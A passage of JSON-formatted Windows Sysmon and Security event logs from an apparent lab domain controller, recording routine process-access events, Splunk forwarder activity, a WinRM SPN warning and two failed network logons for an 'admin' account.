{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.281\r\nSourceProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nSourceProcessId: 3644\r\nSourceThreadId: 3636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.281","SourceProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","SourceProcessId":"3644","SourceThreadId":"3636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221507,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61712\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61712","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221508,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61781\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61781","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":10154,"SourceName":"Microsoft-Windows-WinRM","ProviderGuid":"{A7975C8F-AC13-49F1-87DA-5A984A4AB417}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76810,"ProcessID":0,"ThreadID":0,"Channel":"System","Message":"The WinRM service failed to create the following SPNs: WSMAN/win-dc-9849183.attackrange.local; WSMAN/win-dc-9849183. \r\n\r\n Additional Data \r\n The error received was 1355: %%1355.\r\n\r\n User Action \r\n The SPNs can be created by an administrator using setspn.exe utility.","Opcode":"Info","spn1":"WSMAN/win-dc-9849183.attackrange.local","spn2":"WSMAN/win-dc-9849183","error":"1355","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nProcessGuid: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nProcessId: 3620\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","ProcessGuid":"{90617006-3FEF-5F2D-0000-0010FA710300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 